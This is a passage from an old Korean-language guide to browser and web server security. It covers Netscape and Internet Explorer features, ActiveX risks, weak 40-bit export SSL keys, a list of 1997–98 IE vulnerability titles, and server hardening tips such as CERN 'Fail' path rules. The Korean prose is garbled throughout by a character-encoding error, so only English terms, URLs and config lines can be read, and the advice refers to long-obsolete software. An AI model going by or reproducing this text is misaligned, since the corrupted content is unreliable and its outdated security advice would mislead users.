- Communicator 4.0 ¿¡¼ »õ·Î ³ª¿Â ¼¸íµÈ ½ºÅ©¸³Æ® Á¤Ã¥ (The signed script policy)Àº »õ·Î¿î ÀÚ¹Ù º¸¾È ¸ðµ¨ÀÎ °´Ã¼ ¼¸íÀ» Åä´ë·Î ÇÑ´Ù. ÀÚ¹Ù½ºÅ©¸³Æ®ÀÇ »õ·Î¿î Á¤Ã¥À» »ç¿ëÇÏ·Á¸é, »õ·Î¿î ÀÚ¹Ù º¸¾È Ŭ·¡½º¸¦ »ç¿ëÇϰí ÀÚ¹Ù½ºÅ©¸³Æ®·Î ¸¸µç ½ºÅ©¸³Æ®µé¿¡ ¼¸íÇÑ´Ù.
º¸¾È°ü·Ã ¹ö±×°¡ °è¼Ó ¹ß°ßµÇ¹Ç·Î ¼ö°³¿ù¸¶´Ù ¹Ýµå½Ã ÃÖ½ÅÆÇ ºê¶ó¿ìÁ®·Î ¾÷±×·¹À̵åÇÑ´Ù.
Note: ÀÚ¹Ù½ºÅ©¸³Æ®°¡ À̸ÞÀϷΠ÷ºÎµÈ html ÆÄÀÏ·Î ¹è´ÞµÉ °æ¿ì¿¡´Â ¹«½¼ÀÏÀ̵çÁö ÇÒ ¼ö ÀÖ´Ù, Áï ´ëÈ»óÀÚ ÇÁ·ÒÇÁÆ® ¾øÀÌ, »ç¿ëÀÚ°¡ À̸¦ ½ÃÀÛÇÒ ¶§ ÀÌ¹Ì ±ÇÇÑÀ» °¡Áö°Ô µÈ´Ù! À̸¦Å×¸é »ç¿ëÀÚÀÇ PCÀÇ ÆÄÀÏ ½Ã½ºÅÛÀ» À̸ÞÀÏ·Î º¸³¾ ¼öµµ ÀÖ´Ù.
±Ç°í»çÇ×
- HTML ¼Ò½º·ÎºÎÅÍ ÀÚ¹Ù½ºÅ©¸³Æ® Äڵ带 ÀÐÀ» ¼ö ÀÖÀ¸¹Ç·Î º¸¾È ÇÔ¼ö (e.g. ÆÐ½º¿öµå È®ÀÎ °°Àº) ¿¡´Â Àý´ë·Î ÀÚ¹Ù½ºÅ©¸³Æ®¸¦ »ç¿ëÇÏÁö ¾Ê´Â´Ù.
- Communicator 4.x ¿Í °°ÀÌ ¸í¸íµÈ ÆûÀÇ Ãâó È®ÀÎÀ» È®½ÇÈ÷ ÇÏ´Â ºê¶ó¿ìÁ®¸¦ »ç¿ëÇϰí src_fron_non_file º¸¾È °áÇÔÀ» ¼öÁ¤ÇÑ´Ù (IE4.0 Àº ¾ÆÁ÷ ¹ÌÈ®ÀλóÅÂÀÌ´Ù). Navigator 3.0 Àº À¥ÆäÀÌÁöÀÇ Æ¯Á¤ ÄÞÆ÷³ÍÆ®·ÎÀÇ ¾ÈÀüÇÑ Á¢±Ù ¼ö´ÜÀ» Á¦°øÇϱâ À§ÇØ µ¥ÀÌŸ ¿À¿°(Data Tainting) À» Á¦°øÇÏ¿´´Ù. ¼¸íµÈ ½ºÅ©¸³Æ®ÀÇ »ç¿ëÀÌ µ¥ÀÌŸ ¿À¿° ¹æ¹ýº¸´Ù Çâ»óµÈ º¸¾ÈÀ» Á¦°øÇϱ⠶§¹®¿¡ Communicator 4.x¿¡¼´Â »ç¿ëÇÏÁö ¾Ê´Â´Ù.
- ¹Î°¨ÇÑ µ¥ÀÌŸ¸¦ ´Ù·ç´Â »ç¿ëÀÚ: ÀÚ¹Ù½ºÅ©¸³Æ®ÀÇ »ç¿ëÀ» ±ÝÁöÇÑ´Ù. ÀÚ¹Ù½ºÅ©¸³Æ®°¡ ÀÎÅͳݿ¡¼ ³Î¸® »ç¿ëµÇ´Â ¸¸Å ÀÌ·ÎÀÎÇØ »ç¿ëÀÚ°¡ »çÀÌÆ® ¼±Åÿ¡ Á¦ÇÑÀ» ¹Þ°Ô µÇ°ÚÁö¸¸.
Hot Java´Â ÀÚ¹Ù ¾ð¾î°¡ ¾î¶² °ÍÀ» ÇÒ ¼ö ÀÖ´ÂÁö Áõ¸íÇϱâ À§ÇØ °³¹ßµÈ Sun MicrosystemsÞäÀÇ WWW ºê¶ó¿ìÁ®ÀÌ´Ù.
Hot Java ´Â Áö¿øÀÌ ¾ø°í ¼ø¼öÈ÷ ÀÚ¹ÙÀÇ °¡´É¼ºÀ» ÀÔÁõÀ» À§ÇØ ¸¸µé¾îÁ³°í, ƯÈ÷ Hot Java ´Â º¸¾È¿¡ ¿©·¯ °³ÀÇ º¸¾È °áÇÔµéÀÌ ÀÖÀ¸¹Ç·Î ÀÏ¹Ý »ç¿ëÀÚµéÀÌ »ç¿ëÇØ¼´Â ¾ÈµÈ´Ù. ([java1]À» ÂüÁ¶ÇÑ´Ù.)
ActiveX´Â À¥ ÆäÀÌÁöÀÇ ÇÁ·Î±×·¥À» PC¿¡¼ ½ÇÇàÇϵµ·Ï ¼³°èµÇ¾ú´Ù. ActiveX¿¡´Â ÇÁ·Î±×·¥ÀÇ Ãâó¸¦ ÀÎÁõÇÏ´Â ±â´É¿Ü¿¡´Â ¾î¶°ÇÑ º¸¾È Á¤Ã¥À̳ª º¸¾È °³³äÁ¶Â÷ ¾ø´Ù. À¥ ºê¶ó¿ìÁ®¸¦ ÅëÇØ ¹ÞÀº ActiveX ÇÁ·Î±×·¥µéÀº »ç¿ëÀÚÀÇ PC¿¡¼ ¾Æ¹« Á¦ÇѾøÀÌ ½ÇÇàµÈ´Ù. ¿¹¸¦ µé¸é Çϵåµð½ºÅ©¸¦ Æ÷¸äÇϰųª ½Ã½ºÅÛ Á¾·á°°Àº ÀÛ¾÷µéÀÌ °¡´ÉÇÏ´Ù. ( ¸î °¡Áö ¿¹¸¦ º¸·Á¸é www.halcyon.com/mclain/ActiveX ¸¦ ÂüÁ¶ÇÑ´Ù.)
- ÀÚ¹Ù¿Í´Â ´Þ¸® ActiveX´Â º¸È£µÈ "sandbox" ¿¡¼ µ¹¾Æ°¡Áö ¾Ê´Â´Ù. ¾ÇÀÇÀûÀÎ ActiveX ÇÁ·Î±×·¥µé·ÎºÎÅÍ »ç¿ëÀÚÀÇ
ÄÄÇ»ÅÍ´Â ¾î¶°ÇÑ º¸È£µµ ¹ÞÀ» ¼ö ¾ø´Ù.
- ¿¹¸¦ µé¸é ³»ºÎ ³×Æ®¿÷ »óÀÇ ½Å·ÚµÇ´Â ¼¹ö¿Í °°ÀÌ 100% ½Å·ÚÇÒ ¼ö ÀÖ´Â Ãâó¿¡¼¸¸ ÇÁ·Î±×·¥À» ¹Þ´Â´Ù.
- ¼ÒÇÁÆ®¿þ¾îÀÇ Ãâó°¡ È®½ÇÇÏ´Ù°í ÇØ¼ (¼¸íÀÌ µÇ¾îÀÖ´ÙµçÁö), ¼ÒÇÁÆ®¿þ¾î¿¡ ¿¹»óÄ¡ ¸øÇÑ ºÎÀÛ¿ëÀÌ ¾øÀ½À» ÀǹÌÇÏÁö´Â ¾Ê´Â´Ù´Â °ÍÀ» Ç×»ó ÁÖÀÇÇÑ´Ù.
<- ¸ðµç Ŭ¶óÀÌ¾ðÆ®¿¡ ´ëÇÑ ±Ç°í: ActiveX¸¦ ºñȰ¼ºÈ ½ÃŰ°Å³ª, CERT ÁöħÀ» Àаí Àû¿ëÇÑ´Ù [activeX].
PCºÎÅÍ UNIX±îÁö ´Ù¾çÇÑ Ç÷§Æû¿¡¼ ÀÛµ¿ÇÏ´Â Netscape ÀÇ ºê¶ó¿ìÁ®´Â ¸¹Àº »ç¿ëÀÚµéÀÇ ±âº» ºê¶ó¿ìÁ®·Î ¾Ö¿ëµÇ°í ÀÖ´Ù.
- Navigator´Â SSLÀ» Áö¿øÇÏ´Â WWW ¼¹ö¿Í ¾ÏÈ£ÈµÈ µ¥ÀÌŸ ±³È¯ÀÌ °¡´ÉÇÏ´Ù. (º¸¾È¿¬°áÀÌ ÀÌ·ç¾îÁö¸é Ưº°ÇÑ ´ëÈ»óÀÚ°¡ ³ªÅ¸³´Ù.) ÀÌ ±â´ÉÀº ÁÖ·Î
ÀüÀÚ»ó°Å·¡(Online Shopping)³ª ÀüÀÚÀºÇà¾÷¹«Ã³¸®(Online Banking)¿¡ ¾²ÀδÙ. ¹Ì±¹³»¿¡¼´Â 128 bitsÀÇ ¾Ïȣ۰¡ »ç¿ëµÇ¸ç ¹Ì±¹ ¹Û¿¡¼´Â 40 bitsÀÇ ¾Ïȣ۰¡ »ç¿ëµÈ´Ù. (À̰ÍÀº 2000³â, ¹Ì±¹ ¾ÏÈ£±â¼ú ¼öÃâÁ¦ÇÑ °ü·Ã¹ý±Ô°¡ ¿ÏÈµÇ¾î ±¹Á¦ÀûÀ¸·Îµµ °·ÂÇÑ ¹öÀüµéÀÌ »ç¿ë°¡´ÉÇÏ°Ô µÇ¸é¼ ¹Ù²î¾ú´Ù.)
Navigator 2.0Àº SSL, SNEWS¿Í HTTPS¸¦ Áö¿øÇÑ´Ù.
- °í¼º´ÉÀÇ ÄÄÇ»Å͸¦ »ç¿ë, ºê·çÆ® Æ÷½º °ø°Ý (Brute force attack) ¹æ¹ýÀ¸·Î ¼öÃâ¿ëÀÎ 40 bits ¼¼¼Ç ۰¡ ºÒ°ú ¼ö½Ã°£¸¸¿¡ ¹«·ÂȵǴ °ÍÀ» Áõ¸íÇÏ¿´´Ù.
- ±×·¯³ª, ´õ¿í ¾ÈÁÁÀº °Í[2]Àº ¿¹Ãø°¡´ÉÇÑ Àǻ糼ö ¹ß»ý±â(pseudo-random number generator)¸¦ »ç¿ëÇÑ Netscape 1.1ÀÇ ¸¶½ºÅÍ Å°°¡ º¸Åë ¿÷½ºÅ×ÀÌ¼Ç±Þ ÄÄÇ»Å͸¦ »ç¿ëÇÏ¿© ºÒ°ú ¼ö ½Ã°£¸¸¿¡ ¹«·Â鵃 ¼ö ÀÖÀ½ÀÌ Áõ¸íµÇ¾ú´Ù´Â °ÍÀÌ´Ù. Netscape ´Â ÆÐÄ¡¸¦ ¹èÆ÷Çϱâ Àü¿¡ »õ·Î¿î Àǻ糼ö ¹ß»ý±â Äڵ带 °ø°³ÇÏ¿© ´©±¸³ª Äڵ带 ½ÇÇèÇÒ ¼ö ÀÖµµ·Ï ÇÏ¿´´Ù. (¼öÁ¤: 2.0À¸·Î ¾÷±×·¹À̵å ÇÑ´Ù.)
- Netscape 2.0Àº ÀÚ¹Ù½ºÅ©¸³Æ®¸¦ »ç¿ëÇÑ ÆÄÀÏ Á¢±Ù°ú ÀÚ¹Ù ¾ÖÇø´À» À§ÇÑ DNS ÁÖ¼Ò Ã³¸®¹æ¹ý¿¡ ¹ö±×°¡ ÀÖ´Ù. (¼öÁ¤: 2.01·Î ¾÷±×·¹À̵å ÇÑ´Ù.)
- Netscape 2.02·ÎÀÇ ¾÷±×·¹À̵å´Â Àڹ٠Ŭ·¡½º ·Î´õ¿Í ÀÚ¹Ù½ºÅ©¸³Æ®ÀÇ º¸¾È¿À·ù¸¦ ¼öÁ¤ÇÑ´Ù.
- À§ÀÇ ¿À·ùµéÀº ÀÌ¹Ì 5-6³âÀü¿¡ ¹ß°ßµÈ °ÍµéÀÌ¸ç ¸Å´Þ »õ·Î¿î ¿À·ù°¡ ¹ß°ßµÇ°í ÀÖ´Ù. Ç×»ó ÃÖ½ÅÀÇ ºê¶ó¿ìÁ®¸¦ »ç¿ëÇϵµ·Ï ÇÑ´Ù.
- Navigator´Â ÀÚ¹Ù, ÀÚ¹Ù½ºÅ©¸³Æ®, ¾ÏÈ£È ±×¸®°í ÀÎÅÍ³Ý »ó°Å·¡¸¦ À§ÇÑ SSL°ú °°Àº º¸¾È ±â´É µîÀ¸·Î ¸Å¿ì º¹ÀâÇÏ°í ¹æ´ëÇÑ ÇÁ·Î±×·¥ÀÌ µÇ¾ú´Ù. ÀÌ·¯ÇÑ
º¹Àâ/¹æ´ëÇÔ ±×¸®°í 6°³¿ù¸¶´Ù ¾÷±×·¹À̵åµÇ´Â Navigator´Â ¹ö±×¿Í µû¶ó¼ º¸¾È°áÇÔÀÇ °¡´É¼ºÀÌ ´ÙºÐÇÏ´Ù.
- NavigatorÀÇ ¶óÀ̺귯¸®µéÀ» °øÀ¯µÈ ¼¹ö¿¡ ÀúÀåÇÏ´Â °ÍÀ» °í·ÁÇÑ´Ù. (¿¹¸¦ µé¸é À¯´Ð½º¿¡¼± ¶óÀ̺귯¸®µéÀ» /usr/local¿¡ ÀúÀåÇÑ´Ù.) ÀÌ ¹æ¹ýÀ¸·Î
¶óÀ̺귯¸®ÀÇ ¹®Á¦µéÀ» ºü¸£°Ô Á¤ºñÇÒ ¼ö ÀÖ´Ù. NetscapeÀÇ Áß¾Ó¼³Ä¡¸¦ °í·ÁÇÑ´Ù.
- ¸Þ´ºÀÇ ¿É¼Ç->º¸¾È¼³Á¤¿¡¼, Navigator V3´Â °æ°í¸Þ¼¼Áö(alert dialogues) »ç¿ë, SSL »ç¿ë¿©ºÎ, »ç¿ëÀÚ ÆÐ½º¿öµå¸¦ ÀÌ¿ëÇÑ Netscape¿Í
ÀÎÁõ¼ÀÇ »ç¿ëÁ¦¾îÀÇ ±â´ÉµéÀ» Á¦°øÇÑ´Ù.
- ¸Þ´ºÀÇ ¿É¼Ç -> ³ÝÆ®¿÷¼³Á¤À» »ç¿ëÇÏ¿©, Navigator V3´Â ÇÁ·Ï½Ã ¼¹ö ¼³Á¤ ¶Ç´Â ÀÎÅÍ³Ý Á÷Á¢ ¿¬°áÀ» ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ÀüÀÚ ¼½ÄÀÇ Àü¼Û
¶Ç´Â Äí۸¦ ¹Þ±âÀü¿¡ °æ°í¹®ÀÌ ³ªÅ¸³ªµµ·Ï ¼³Á¤ÇÒ ¼ö ÀÖ´Ù. ÀÚ¹Ù¿Í ÀÚ¹Ù½ºÅ©¸³Æ®µµ »ç¿ë±ÝÁö ½Ãų ¼ö ÀÖ´Ù.
- °¡Àå ÁÁÀº ¼Ò½ÄÀº http://www.fortify.net/¿¡¼ Fortify¶ó´Â ÇÁ·Î±×·¥À» ´Ù¿î ¹Þ¾Æ¼ ¼öÃâ¿ë NavigatorÀÇ °ÇÑ ¾ÏÈ£È ±â´É Á¦ÇÑÀ» Á¦°ÅÇÒ ¼ö ÀÖ´Ù´Â °ÍÀÌ´Ù. ¹é¹®ÀÌ ºÒ¿©ÀϰßÀÌ´Ù!
UPDATE: 2000³âµµ ºÎÅÍ °·ÂÇÑ ºê¶ó¿ìÀú ¹öÀüÀÌ ±¹Á¦ÀûÀ¸·Î »ç¿ë °¡´ÉÇÏ°Ô µÇ¸é¼, ´õ ÀÌ»ó Fortify°¡ ÇÊ¿ä ÇÏÁö ¾Ê´Ù.
Explorer 3.0Àº ÀÚ¹Ù, SSL 2, SSL 3, ¼ÒÇÁÆ®¿þ¾î ¼¸í, PCT 1.0, ActiveX ±×¸®°í ActiveX ½ºÅ©¸³Æ®/VB½ºÅ©¸³Æ®¸¦ Áö¿øÇÑ´Ù.
- ¸Þ´ºÀÇ º¸±â -> ¿É¼Ç -> º¸¾ÈÀ» »ç¿ëÇÏ¿© ¸î°¡Áö º¸¾È°ü·Ã ¼³Á¤À» ÇÒ ¼ö ÀÖ´Ù. ÀÚ¹Ù´Â ¼¼´Ü°è·Î Á¦ÇÑµÉ ¼ö ÀÖ´Ù. ActiveX, Active ÄÜÅÙÆ®ÀÇ Ç÷¯±×ÀÎ ´Ù¿î·Îµå¸¦ ±ÝÁöÇÒ ¼ö ÀÖ´Ù. ÀÎÁõ¼¿Í »çÀÌÆ®ÀÇ µî±Þ ¼³Á¤ÀÌ °¡´ÉÇÏ´Ù.
- WWW ¼¹ö·Î IIS¸¦ »ç¿ëÇϰí NT Lan Manager¸¦ ½á¼ »ç¿ëÀÚ ÀÎÁõÇÏ´Â NT ȯ°æ¿¡¼, Explorer´Â Á¦ÇÑµÈ Á¢±ÙÀ» °¡Áö´Â WWW ÆäÀÌÁö¿¡ Åõ¸íÇÏ°Ô Á¢±ÙÀ» Á¦°øÇÒ ¼ö ÀÖ´Ù. E.g. IISÀÇ Æ¯Á¤ WWW ÆäÀÌÁö°¡ ƯÁ¤ NTÀÇ Æ¯Á¤ ±×·ì¸¸ ÀÐÀ» ¼ö ÀÖµµ·Ï Á¦Çѵȴٸé, Explorer´Â »ç¿ëÀÚÀÇ ID¿Í ÆÐ½º¿öµå ÀçÀÔ·Â ¾øÀÌ »ç¿ëÀÚ¸¦ IIS ¼¹ö¿¡ ÀÎÁõ½ÃŲ´Ù. ÀÌ´Â ÀÎÆ®¶ó³Ý¿¡¼ ¸Å¿ì À¯¿ëÇÑ ±â´ÉÀÌ´Ù. ÇÑÆí Navigator´Â HTTP auth ¸¦ »ç¿ëÇØ¾ß Çϰí (´ú ¾ÈÀü) Ç×»ó ÆÐ½º¿öµåÀÇ ÀÔ·ÂÀ» ¿ä±¸ÇÏ¿© ÀÌ·± »óȲ¿¡¼´Â ´ú ¾ÈÀüÇÏ°Ô ¸¸µé¸ç, »ç¿ëÀÚ ÀÔÀå¿¡¼ º¸¸é Á» ±ÍÂú´Ù.
¹®Á¦Á¡µé:
- www.Microsoft.com/security¸¦ ÂüÁ¶ÇÑ´Ù. [±×·¯³ª ±×°Ô ´Ù°¡ ¾Æ´Ï´Ù...]
- ¹ßÇ¥µÇ°í ³ª¼ºÎÅÍ Internet Explorer ´Â ²÷ÀÓ¾ø´Â º¸¾È¹®Á¦µéÀ» ¸¸µé¾î ³»¿Ô´Ù. ÇÏÁö¸¸ ÀÌ·ÎÀÎÇØ Microsoft °¡ Internet Expolorer ¸¦ Á¡Á¡ ´õ º¹ÀâÇÏ°Ô ¸¸µå´Â °ÍÀ» ¸ØÃßÁö´Â ¾Ê¾Ò´Ù. ´ÙÀ½Àº Ãʱ⠹ö±×µéÀÇ ÀϺÎÀÌ´Ù.
Executing Code on IE 4.0 and 4.01 (Jan.13'98)
Cracking Windows 95 Share
Passwords (Jan.9'98)
Teardrop 2 Attack (Jan.9'98)
IE Page redirect (Nov.19'97)
land Attack (Nov.17'97)
IE4 (Oct.11'97)
IE4 & DHTML (Oct.16'97)
IE4 & Java (Sep.12'97)
OOB Attack (May.9'97)
IE & Powerpoint (May.7'97)
Samba Can Grab Win95 Passwords (Mar.17 '97)
IE Hole with NTLM (Mar.15 '97)
IE & Netscape Hole Found (Mar.14 '97)
Run Local Commands With IE (Mar.7 '97)
Get IE To Launch Remote Apps (Mar.6 '97)
IE .LNK and .URL Problems (Mar.3 '97)
Potential Active Server Problem (Feb.20 '97)
- IE4 ´Â À¥°ø°£À» ÀÎÅͳÝ, ÀÎÆ®¶ó³ÝµîÀÇ ¿µ¿ª(zone)À¸·Î ³ª´©¾î »ç¿ëÀÚ°¡ ÇöÀç »ç¿ëÇϰí ÀÖ´Â ¿µ¿ªÀ» »ó±â½ÃŰ¸ç ¿µ¿ªº°·Î º¸¾ÈÁöħÀ» ±ÔÁ¤ÇÒ ¼ö ÀÖ°Ô ÇÑ´Ù.
ÇÏÁö¸¸ ÀÌ·± ¹æ¹ýÀ¸·Î ¹öÆÛ ¿À¹öÇ÷οì (buffer overflow) °°Àº ¹®Á¦¸¦ ¸·À» ¼ö ¾øÀ¸¸ç ½Å·ÚµÈ ActiveX ÄÞÆ÷³ÍÆ®¿Í "¾ÈÀüÇÑ" ½ºÅ©¸³Æ®µéÀÌ 2000³âµµ¿¡´Â »õ·Î¿î ¹®Á¦Á¡À¸·Î ¶°¿Ã¶ú´Ù.
Microsoft °¡ ¸ðÈ£ÇÔ¿¡ ÀÇÇÑ (¾Ë°í¸®µë, »ç³» ÇÁ·Î±×·¥ Æò°¡ ¶Ç´Â º¸¾È Ãë¾àÁ¡µîÀ» Ç×»ó »ç¿ëÀڵ鿡°Ô ¾Ë¸®Áö ¾Ê°í) º¸¾ÈÀ» ¼ºÃëÇÏ·Á´Â ÇÑ Explorer´Â ³ôÀº ¼öÁØÀÇ º¸ÁõÀ» Á¦°øÇÒ ¼ö ¾ø´Ù. ÇÏÁö¸¸ IE´Â Microsoft ÀÇ ¿î¿µÃ¼Á¦¿Í Çϳª°¡ µÇ¾î°¡°í ÀÖÀ¸¸ç ¹«·á·Î ¹èÆ÷µÇ°í Àֱ⿡ ¾ÕÀ¸·Î ´õ¿í ¸¹Àº »ç¿ëÀÚ¸¦ È®º¸ÇÒ °ÍÀÌ´Ù.
¼¹öµé: WWW (World Wide Web)
- WWW ¼¹ö¸¦ ¼³Ä¡Çϱâ Àü¿¡, ´ÙÀ½ FAQÀ» Àд´Ù. ´ÙÀ½ÀÇ FAQµéÀº ¼¹ö ¼³Á¤°ú cgi ½ºÅ©¸³Æ®¿¡ °üÇÏ¿© ¸Å¿ì ÀÚ¼¼È÷ ¼³¸íµÇ¾îÀÖ´Ù.
www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html¿Í
www.cerf.net/~paulp/cgi-security
¶Ç´Â hoohoo.ncsa.uiuc.edu/cgi/security.html.
- HTML°ü·Ã ¼Àû: "Webmaster in a Nutshell" (O'Reilly), "Teach Yourself Web Publishing with HTML in 14 Days", ISBN 1-57521-014-2 ¶Ç´Â "How to set up and maintain a World Wide Web Site: The Guide for Information Providers", Lincoln Stein (Addison-Wesley), ISBN 0-201-63389-2.
- WWW º¸¾È¿¡ °üÇÑ ¸ÞÀϸµ ¸®½ºÆ®
www-security-request@nsmx.rutgers.edu
body= SUBSCRIBE www-security YOUR_ADDR
¾ÈÀüÇÑ HTML ¹öÀü°ú Web»ó¿¡¼ÀÇ Æ®·£Àè¼Ç ó¸®ÀÇ º¸¾È¿¡ °üÇØ¼´Â ´ÙÀ½ ¸µÅ©µéÀ» ¹æ¹®ÇÑ´Ù:
http://home.Netscape.com/info/SSL.html
http://www.commerce.net/information/standards/drafts/shttp.txt
http://www.w3.org/hypertext/WWW/Shen/ref/security_spec.html
http://www.w3c.org/
http://www.fv.com/
http://www.digicash.nl/
http://www.cybercash.com/
http://www.mcom.com/
http://www.algroup.co.uk/Apache-SSL
°£´ÜÇÑ ÀÎÁõ¿¡ ´ëÇÑ Á¤º¸´Â ´ÙÀ½ ¸µÅ©¸¦ ¹æ¹®ÇÑ´Ù:
http://www.w3.org/hypertext/WWW/AccessAuthorization/Basic.html
¼¹ö »óÅ Äڵ忡 °üÇØ¼´Â ´ÙÀ½ ¸µÅ©¸¦ ¹æ¹®ÇÑ´Ù:
http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTRESP.html
ºÎ·Ï C¿¡ ±âÀçµÈ ÀÎÅÍ³Ý ÂüÁ¶¹®µµ Âü°íÇÑ´Ù.
WWWÀº ¸Å¿ì ºü¸£°Ô ¹ßÀüÇϰí ÀÖ°í ¿©·¯ ¾÷üµéÀÇ ÀÓÀÇÃß°¡, ÇÁ·ÎÅäÄÝ, ´Ù¸¥ »ç¿ëÀÚ È¯°æµîÀ¸·Î ¸Å¿ì º¹ÀâÇØÁö°í ÀÖ´Ù. º» Àý¿¡¼´Â ¾ÈÀüÇÑ WWW ¼ºñ½º Á¦°ø°ú °ü·ÃµÈ WWWÀÇ ÀϺκи¸ ¾ð±ÞÇÑ´Ù.
- ¾ÈÀüÇÏ°Ô ¼³Á¤µÈ ¿î¿µÃ¼°è. (´õ¿í ÀÚ¼¼ÇÑ °ÍÀº UNIX/NT ÀåÀ» º»´Ù.)
- ¹æÈº®À» »ç¿ëÇÑ º¸È£. (¹æÈº® ÀåÀ» º»´Ù)
- ¾ÈÀüÇÏ°Ô ¼³Á¤µÈ HTTP ¼¹ö (¹æÈº® Àå°ú ¾Æ·¡¸¦ º»´Ù.)
- SSL, SET, HTTPSµîÀÇ º¸¾È ÇÁ·ÎÅäÄÝÀÇ »ç¿ë (¸ÞÄ«´ÏÁò ÀåÀ» º»´Ù).
ÀϹÝ
HTTP´Â Ŭ¶óÀÌ¾ðÆ®°¡ ¿¬°áÀ» ½ÃÀÛÇÏ°í ¼¹ö´Â ÀÀ´ä ÈÄ ¿¬°áÀ» Á¾·áÇÏ´Â, ºñ »óűâ¹Ý (stateless) ÇÁ·ÎÅäÄÝÀÌ´Ù.
HTTP/1.0 ¿äûÀº »ç¿ëÀÚÀÇ À̸ÞÀÏ ÁÖ¼Ò¸¦ °¡¸®Å°´Â from Çʵå, URI¸¦ ȹµæÇÑ °÷À» ³ªÅ¸³»´Â referrer Çʵå (Áï »ç¿ëÀÚÀÇ ÄÄÇ»ÅÍ¿Í µµ¸ÞÀÎ) ±×¸®°í ÇöÀç »ç¿ëÁßÀÎ ºê¶ó¿ìÀú¸¦ ³ªÅ¸³»´Â user-agent Çʵ带 Á¦°øÇÑ´Ù. ÀÌ·¯ÇÑ ÇʵåµéÀº »ç¿ëÀÚÀÇ ºê¶ó¿ìÀúÀÇ ¼³Á¤¿¡ µû¶ó »ç¿ë ¶Ç´Â »ç¿ëµÇÁö ¾Ê´Â´Ù.
- ·Î±×ÆÄÀÏÀÇ °¨»ç, °¡ÁöÄ¡±â ±×¸®°í º¸°üÀ» ÁÖ±âÀûÀ¸·Î ÇÑ´Ù.
- cgi-bin Æú´õ ¼Ó¿¡ ÆÞ ÇØ¼®±â³ª shÇØ¼®±â¸¦ ³Ö¾îµÎÁö ¾Ê´Â´Ù. ¾Æ´Ï¸é ³×Æ®¿÷ »ó¿¡ ¿¬°áµÈ ´©±¸¶óµµ ´ç½ÅÀÇ ¼¹ö¿¡¼ ÀڽŵéÀÇ ÇÁ·Î±×·¥À» ½ÇÇà½Ãų ¼ö ÀÖ´Ù!
- À¯´Ð½º¿¡¼´Â Æ÷Æ® 80À¸·ÎÀÇ Á¢¼ÓÀ» Çã°¡Çϱâ À§ÇØ root°¡ httpd¸¦ ½ÇÇàÇϵµ·Ï µÇ¾îÀÖ´Ù. ÇÏÁö¸¸ root·Î¼ httpd¸¦ µ¹¸®´Â °ÍÀº ¸Å¿ì À§ÇèÇϹǷÎ, nobody °°ÀÌ root ÀÌ¿ÜÀÇ »ç¿ëÀÚ·Î ºÒ·¯Áö´Â httpd (´ëºÎºÐÀÇ ¼¹öµéÀÌ ÀÌ·±´Ù)¸¦ »ç¿ëÇϰųª chroot ȯ°æ¿¡¼ ¼¹ö¸¦ ¿î¿µÇÑ´Ù.
- ÄÄÆÄÀÏ·¯³ª X11 ¼ÒÇÁÆ®¿þ¾îµéÀ» À¥¼¹ö¿¡ ¼³Ä¡ÇÏÁö ¾Ê´Â´Ù.
- x-csh¸¦ Ŭ¶óÀÌ¾ðÆ®¿Í ¼¹öÀÇ mime.types¿¡¼ Á¦°ÅÇÑ´Ù.
- ƯÁ¤ ¹ö±×µé/ÆÐÄ¡µé:
- NCSA HTTP ¼¹ö V1.3¿¡´Â ´©±¸³ª ¼¹ö¸¦ ÇÔ¶ô ½Ãų ¼ö ÀÖ´Â ¹ö±×°¡ ÀÖ´Ù. V1.4 ¶Ç´Â V1.4 ÀÌÈÄÀÇ ¼¹ö¸¦ ¼³Ä¡ÇÑ´Ù.
- Apache 1.05´Â cgi ÇÁ·Î±×·¥¿¡ Àμö¸¦ Àü´ÞÇÒ ¼ö ÀÖ¾ú´ø °ÍÀÌ ¼öÁ¤µÇ¾ú´Ù. 1.3.4 ¶Ç´Â ÀÌÈÄÀÇ ¾ÆÆÄÄ¡ÀÇ »ç¿ëÀ» ±ÇÀåÇÑ´Ù.
http://www.apache.org/¸¦ ÂüÁ¶ÇÑ´Ù.
- CERN ¼¹ö V3.0ÀÇ CGIParse ½ºÅ©¸³Æ®¿¡ º¸¾È¹®Á¦°¡ ÀÖÀ¸¸ç º¸¾È ¼³Á¤µéÀº httpd.conf¿¡¼ °£´ÜÈ÷ ȸÇÇÇÒ ¼ö ÀÖ´Ù. (NASIRC Bulletin B-96018À» ÂüÁ¶ÇÑ´Ù). httpd.conf ¹®Á¦´Â ÆÐÄ¡¸¦ ¼³Ä¡ÇÔÀ¸·Î ¼öÁ¤ÇÒ ¼ö ÀÖ°í CGIParse ¹®Á¦´Â ´ÙÀ½À» ¸ðµç ¡°Exec¡±, ¡°Map¡± ¶Ç´Â ¡°Pass¡± Çü½Ä¿¡ Æ÷ÇÔÇÏ¿© ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù:
Fail //*
Fail *//*
Fail /./*
Fail */./*
- ÇÁ·Ï½Ã WWW ¼¹ö´Â Firewall Àå¿¡¼ ´Ù·é´Ù.
ÀÎÁõ
´ëºÎºÐÀÇ ¼¹öµéÀº access.conf¿Í °°Àº Àüü¼³Á¤ ¶Ç´Â .htaccess/ .nsconfig¿Í °°Àº Æú´õº° ¼³Á¤À» »ç¿ëÇÏ¿© ƯÁ¤ ÆÄÀϵé·ÎÀÇ Á¢±ÙÀ» ÆÐ½º¿öµå¸¦ »ç¿ëÇÏ¿© Á¦ÇÑÇÒ ¼ö ÀÖ´Ù. À̰ÍÀ» ±âº»ÀÎÁõ(Basic Authentication)À̶ó ÇÑ´Ù. IPÁÖ¼Ò³ª ÄÄÇ»ÅÍÀ̸§¿¡ ±Ù°ÅÇÑ Á¢±ÙÁ¦ÇÑ ¶ÇÇÑ ´ëºÎºÐÀÇ ¼¹öµéÀº Áö¿øÇÑ´Ù. ÀÌ µÎ°¡Áö ¹æ¹ýÀº °£´ÜÇÑ °ÍÀÌ ¾Æ´Ï´Ù (¿¹: ±âº»ÀûÀÎ auth´Â base64·Î »ç¿ëÀÚÀ̸§°ú ÆÐ½º¿öµå¸¦ ¾ÏÈ£ÈÇÑ´Ù. ÀÌ·¯ÇÑ ¾Ïȣȴ Ǯ±â°¡ ½±°í µû¶ó¼ ¾ÏÈ£ÈÇÏÁö ¾Ê´Â °Í¸¸ ¸øÇÏ´Ù).
access.conf´Â Apache/NCSA¸¦ ÂüÁ¶Çϰí .nsconfig´Â Netscape¸¦ ÂüÁ¶ÇÑ´Ù.
